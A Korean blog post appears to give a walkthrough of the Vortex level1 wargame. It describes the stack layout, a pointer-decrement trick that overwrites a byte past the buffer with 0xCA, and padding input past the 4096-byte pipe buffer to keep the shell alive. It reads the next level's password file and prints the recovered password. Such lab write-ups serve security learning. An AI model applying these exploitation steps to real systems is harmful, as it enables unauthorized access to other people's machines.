[ ,,,   ][x (변수)][ buff[0--> 256] ][e()][sfp][ret][argc][argv][env] 이다. 

                         ^ (ptr 포인터 부분)

처음 OS 환경이 x86인 intel CPU 이기에 메모리주소값은 little endian 방식을 취하므로 buff 에서 ret 으로 갈수록 작은 주소값을 가진다.


이때 x 가 \\ 가 들어올때마다 ptr 이 하나씩 감소한다. 즉 buff[0]부터 하나씩 포인터가 감소하여 buff[256]을 지나는 순간의 값이 0xCA가 되면 되는것이다. 


인자값 전달은 perl 을 사용하였다. 받는 값이 getchar 이니, perl로 출력된 값을 그대로 전달하면 될것이다. 



쉘이 떨어지긴하는데 바로 exit가 되버린다.  이럴때 ;cat 명령어와 함께 사용해 주어, 멈추게 하는 방법을 hackerschool 문제때 사용했으나 이경우엔 먹통이 되어 아무 명령도 실행 할 수 없었다. 

검색을 해본결과 아래와 같은 부분을 찾을 수 있었다.

========================================================================================================

리눅스에서 사용되는 |(파이프) 명령어는 4096바이트를 차지한다는 것이다.

즉, 4096바이트 크기를 넘지않는 4096바이트 안에 포함된 모든 입력값들은 파이프 명령어가 꿀꺽하기 때문에 쉘에 명령어가 전달이 되지 못한다는 것이다.

 

즉, 쉘을 획득한 상태에서 파이프로 인자를 넘기려면 4096이상 넘겨야 쉘코드로 인자를 넘겨 실행하는 것이 가능하다는 말이군!

 

[출처] Vortex Level1|작성자 hks9999

===========================================================================================================

좋아~ 일정 바이트를 넘겨야 한다 이거군..


테스트를 해보자.. 우선 패스워드는 /etc/vortex_pass/에 있다고 했으니 그곳을 읽는 걸로 바로 명령어를 쳐보자 



위와같이 a를 3838개를 넣었을때 command not found 에서 명령어 a가 다 사라졌다.  그리고 vortex2의 패스워드를 얻을 수 있었다. 


PW : 23anbT\rE





'War_Game > Vortex' 카테고리의 다른 글

[vortex] level3 -> level4  (0) 2013.10.10
[Vortex] level0 -> level1  (0) 2013.07.29
[vortex] level2 -> level3  (0) 2012.03.31
Posted by k1rha